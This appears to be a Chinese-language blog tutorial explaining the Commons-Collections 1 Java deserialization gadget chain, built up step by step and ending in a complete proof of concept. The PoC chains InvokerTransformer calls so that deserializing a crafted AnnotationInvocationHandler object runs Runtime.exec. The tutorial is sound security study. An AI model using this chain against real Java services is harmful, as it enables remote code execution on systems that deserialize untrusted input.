前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教。谢谢!

环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了

下载链接:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

maven:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1 有漏洞的版本是commons-collections3.2.1

sun源码:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 拷贝到jdk目录下,这样便于阅读jdk源码

序列化与反序列化函数

  1. 1 public static void serialize(Object obj) throws Exception{
  2. 2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  3. 3 oos.writeObject(obj);
  4. 4 }
  5. 5 public static Object unserialize(String Filename) throws Exception{
  6. 6 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  7. 7 Object obj = ois.readObject();
  8. 8 return obj;
  9. 9 }

首先,我们要知道,反序列化漏洞归根结底就是需要调用到危险函数,然后有些类会重写readObject方法,那么如果在调用Object方法的时候传入了具有危险方法的类,那么就会触发反序列化漏洞。CC链的作者发现在commons-collections下有一个Transformer接口

实现了Transformer接口的类

主要来看一下一下几个实现类中对transformer方法的实现:

ChainedTransformer:

  1. public Object transform(Object object) {
  2. for (int i = 0; i < iTransformers.length; i++) {
  3. object = iTransformers[i].transform(object);
  4. }
  5. return object;
  6. }

可以看到,这个方法会接受一个Object数组,在调用这个方法的时候,会从构造函数接收的iTransformers中的类去调用transform方法,直到结束。

ConstantTransformer:

  1. public Object transform(Object input) {
  2. return iConstant;
  3. }

无论该方法接受的对象是什么类型,最后都会返回的是类初始化时接受的对象类型。

InvokerTransformer:

  1. public Object transform(Object input) {
  2. if (input == null) {
  3. return null;
  4. }
  5. try {
  6. Class cls = input.getClass();
  7. Method method = cls.getMethod(iMethodName, iParamTypes);
  8. return method.invoke(input, iArgs);
  9.  
  10. } catch (NoSuchMethodException ex) {
  11. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
  12. } catch (IllegalAccessException ex) {
  13. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  14. } catch (InvocationTargetException ex) {
  15. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  16. }
  17. }

可以看到,在这个类中,transform方法调用时,会反射调用iMethodName方法,然后执行,而且,方法名称和参数是我们可以控制的,这就是我们要找的危险函数。

InvokerTransformer的简单利用

我们知道,在java中要执行命令,需要利用Runtime类,那么简单的使用Runtime去执行命令就可以利用以下的写法:

  1.      Runtime.getRuntime().exec("calc");

反射调用的写法:

  1. Runtime runtime = Runtime.getRuntime();
  2. Class c = Runtime.class;
  3. Method execMethod = c.getMethod("exec",String.class);
  4. execMethod.invoke(runtime,"calc");

利用InvokerTransformer类的写法:

  1. Runtime runtime = Runtime.getRuntime();
  2. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

寻找调用了transform方法的类

现在我们已经找到了危险方法,也知道了如何去利用该危险方法,那么我们现在就需要去寻找,还有哪些类同样调用了InvokerTransformer中的transform方法,这样我们才能加以利用

可以看到,以上很多的类都调用了transform方法,但是我们需要找到的是不同名类但是调用了同名方法的地方,所以很多同名函数都是不可加以利用的,为了简单起见,我们选择TransformedMap这个类。因为这个类中好几处都调用了transform方法。

TransformedMap的构造函数:

  1. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  2. super(map);
  3. this.keyTransformer = keyTransformer;
  4. this.valueTransformer = valueTransformer;
  5. }

因为这个构造函数是protected修饰的,所以只能在类内被调用,但是,我们发现这个方法被类中的一个public方法decorate调用了,那么我们就可以通过该方法给他传值,然后再去想办法调用transform方法,从而实现利用

  1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  2. return new TransformedMap(map, keyTransformer, valueTransformer);
  3. }

具体构造代码如下:

  1. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
  2. HashMap<Object,Object> map = new HashMap<Object, Object>();
  3. TransformedMap.decorate(map,null,invokerTransformer);

但是,我们会发现,在TransformedMap中,只有checkSetValue中会使value值去调用transform方法,但是这个方法又是protected修饰的,那么我们就需要去看一下有没有别的地方调用了这个方法。可以发现,在MapEnter的setValue中调用了这个方法

我们知道,MapEnter是在Map遍历的时候使用的,实际上这个方法就是重写了entry中的setValue方法,那么我们只要遍历被修饰过的Map,就会走到这个方法中,所以利用代码如下:

  1. Runtime runtime = Runtime.getRuntime();
  2. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
  3. HashMap<Object,Object> map = new HashMap<Object, Object>();
  4. map.put("kay","value");
  5. Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
  6. for(Map.Entry entry:transformedMap.entrySet()){
  7. entry.setValue(runtime);
  8. }

那么我们现在要去寻找,是否存在某个类,在readObject时调用了setValue方法,可以发现在AnnotationInvocationHandler的readObject中调用了该方法。

我们可以看一下,这个类的构造函数,可以看到,构造函数的第二个参数传入的是一个map类型,使我们可控的,所以我们可以利用这个类的readObject方法来实现利用

  1. AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
  2. Class<?>[] superInterfaces = type.getInterfaces();
  3. if (!type.isAnnotation() ||
  4. superInterfaces.length != 1 ||
  5. superInterfaces[0] != java.lang.annotation.Annotation.class)
  6. throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  7. this.type = type;
  8. this.memberValues = memberValues;
  9. }

因为这个类的构造函数是default修饰的,所以我们只能通过反射的方法来构造,然后进行序列化和反序列化就可以了。

  1. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
  2. HashMap<Object,Object> map = new HashMap<Object, Object>();
  3. map.put("kay","value");
  4. Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
  5. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  6. Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
  7. constructor.setAccessible(true);
  8. //第一个参数继承了注解,我们先用override尝试
  9. Object o = constructor.newInstance(override.class,transformedMap);
  10. serialize(o);
  11. unserialize("ser.bin");

存在的问题

通过以上的代码实际上并不能实现利用,因为还存在以下的问题:

1.setValue方法中的值,是方法自动生成的,我们无法控制

2.Runtime对象无法序列化

3.setValue中的if判断需要满足

如何解决?

1.Runtime对象无法序列化的解决办法

我们知道Class是可以被序列化的,但是Runtime.class是可以被序列化的,那么我可以通过反射来获取

  1. Class c = Runtime.class;
  2. Method getRuntimeMethod = c.getMethod("getRuntime");
  3. Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null);
  4. Method execMethod = c.getMethod("exec", String.class);
  5. execMethod.invoke(runtime,"calc");

修改成invokeTransformer版本

  1. Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",
  2. new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
  3. .transform(Runtime.class);
  4. Runtime runtime = (Runtime)new InvokerTransformer("invoke",
  5. new Class[]{Object.class,Object[].class},new Object[]{null,null})
  6. .transform(getRuntimeMethod);
  7. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

可以发现,实际上后一个的返回值会作为前一个的transform的参数,那么就可以去使用之前提到的ChainedTransformer

  1. Transformer[] transformers = new Transformer[]{
  2. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  3. new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
  4. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  5. };
  6. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  7. chainedTransformer.transform(Runtime.class);

然后利用之前的代码进行调用

  1. Transformer[] transformers = new Transformer[]{
  2. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  3. new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
  4. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  5. };
  6. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  7. HashMap<Object,Object> map = new HashMap<Object, Object>();
  8. map.put("kay","value");
  9. Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
  10. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  11. Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
  12. constructor.setAccessible(true);
  13. //第一个参数继承了注解,我们先用override尝试
  14. Object o = constructor.newInstance("override",transformedMap);
  15. serialize(o);
  16. unserialize("ser.bin");

但是发现还有运行不了,现在来解决剩下的两个问题

2.setValue中的if判断需要满足

可以看到,type的值是从传入的type类型获取的,但是override中不存在任何的值,但是target中存在,所以我们可以利用target来替代,而且因为target中的值为value,所以我们要修改map中的值为value

  1. Object o = constructor.newInstance(Target.class,transformedMap);
  1. map.put("value","value");

3.setValue方法中的值,是方法自动生成的,我们无法控制

上面提到过ConstantTransformer会一直返回初始化的Transformer,那么我们就可以利用他来避免readObject中的修改。

所以完整poc如下:

  1. 1 Transformer[] transformers = new Transformer[]{
  2. 2 //避免被readObject修改
  3. 3 new ConstantTransformer(Runtime.class),
  4. 4 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  5. 5 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
  6. 6 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  7. 7 };
  8. 8 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  9. 9 HashMap<Object,Object> map = new HashMap<Object, Object>();
  10. 10 map.put("value","value");
  11. 11 Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
  12. 12 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  13. 13 Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
  14. 14 constructor.setAccessible(true);
  15. 15 //第一个参数继承了注解,我们先用override尝试
  16. 16 Object o = constructor.newInstance(Target.class,transformedMap);
  17. 17 serialize(o);
  18. 18 unserialize("ser.bin");

CC1链详解的更多相关文章

  1. 你不知道的JavaScript--Item15 prototype原型和原型链详解

    用过JavaScript的同学们肯定都对prototype如雷贯耳,但是这究竟是个什么东西却让初学者莫衷一是,只知道函数都会有一个prototype属性,可以为其添加函数供实例访问,其它的就不清楚了, ...

  2. “全栈2019”Java异常第十五章:异常链详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java异 ...

  3. JavaScript学习总结(五)原型和原型链详解

    转自:http://segmentfault.com/a/1190000000662547 私有变量和函数 在函数内部定义的变量和函数,如果不对外提供接口,外部是无法访问到的,也就是该函数的私有的变量 ...

  4. Js作用域与作用域链详解

    一直对Js的作用域有点迷糊,今天偶然读到Javascript权威指南,立马被吸引住了,写的真不错.我看的是第六版本,相当的厚,大概1000多页,Js博大精深,要熟悉精通需要大毅力大功夫. 一:函数作用 ...

  5. Js作用域与作用域链详解[转]

     一直对Js的作用域有点迷糊,今天偶然读到JavaScript权威指南,立马被吸引住了,写的真不错.我看的是第六版本,相当的厚,大概1000多页,Js博大精深,要熟悉精通需要大毅力大功夫. 一:函数作 ...

  6. JavaScript作用域链详解

    JavaScript的作用域链还是很有味道的,搞懂了这个知识点,闭包的问题也就迎刃而解咯 1.JavaScript的全局变量和局部变量 首先,先来看看js的全局变量和局部变量,js不是块级作用域,所以 ...

  7. javascript 原型及原型链详解

    我们创建的每个函数都有一个 prototype (原型)属性,这个属性是一个指针,指向一个原型对象,而这个原型对象中拥有的属性和方法可以被所以实例共享. function Person(){ } Pe ...

  8. JavaScript prototype原型和原型链详解

    用过JavaScript的同学们肯定都对prototype如雷贯耳,但是这究竟是个什么东西却让初学者莫衷一是,只知道函数都会有一个prototype属性,可以为其添加函数供实例访问,其它的就不清楚了, ...

  9. 《前端之路》之 JavaScript原型及原型链详解

    05:JS 原型链 在 JavaScript 的世界中,万物皆对象! 但是这各种各样的对象其实具体来划分的话就 2 种. 一种是 函数对象,剩下的就是 普通对象.其中 Function 和 Objec ...

  10. JavaScript深入系列(一)--原型和原型链详解

    构造函数创建对象 首先我们先使用构造函数创建一个对象: function Person(){} var person = new Person(); person.name = 'tom'; cons ...

随机推荐

  1. civil3d安装教程2022序列号和密钥

    Civil3D2021 WIN10 64位安装步骤:1.先使用"百度网盘客户端"下载C3D21_CN_x64软件安装包到电脑磁盘里,并右击进行解压,安装前先断网,然后找到Autod ...

  2. JAVA 用分苹果来理解本题

    思路 其实这是一道非常经典的分苹果问题:有m个一样的苹果和n个一样的盘子,把苹果放盘子里,每个盘子允许0-m个苹果,求问有多少种分法? 与本题的共通之点在于,输入的正整数可以看成m个苹果,拆分出的加数 ...

  3. 第三方模块的下载与使用、requests模块、爬取链家二手房数据、openpyxl模块、hashlib加密模块

    目录 第三方模块的下载与使用 下载第三方模块可能会出现的问题 网络爬虫模块之requests模块 网络爬虫实战之爬取链家二手房数据 自动化办公领域之openpyxl模块 第三方模块的下载与使用 第三方 ...

  4. Day30.1:Math的常用方法

    Math 1.1 Math概述 Math类在Java.lang包下,不需要导包 public final class Math extends Object Math含有基本的数字运算方法,没有构造器 ...

  5. 关于盒子动态高度与transition的问题

    今天遇到个小问题 大概要实现类似手风琴的效果 本来设计是定死的高度,直接 height:0; - > height:xxxpx;但之后要改成动态变化的高度,手风琴展开后是个列表,并且列表每行高度 ...

  6. gulp报错The following tasks did not complete

    代码如下: //引用gulp模块 const gulp = require('gulp'); //使用gulp.task()建立任务 gulp.task('first', () => { con ...

  7. 文件压缩和vi编辑器

    一.压缩,解压缩 1.gzip 和 bzip2 gzip和bzip都是压缩软件,比如windows里的好压和360 压缩或微软自带的等等 命令格式是:gzip或者bzip  + 0-9的压缩等级(数字 ...

  8. 如何5分钟上手使用PaddleSeg人像抠图

    随便打开一个Microsoft Visual Studio,新建一个WinForms项目,从下面列表中随便选择一个NET框架. net35;net40;net45;net451;net452;net4 ...

  9. python 实现RSA公钥加密,私钥解密

    from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5 from Cryp ...

  10. elementui中 分页在vue中的使用

     template中: <el-pagination background layout="prev, pager, next" :total="total&quo ...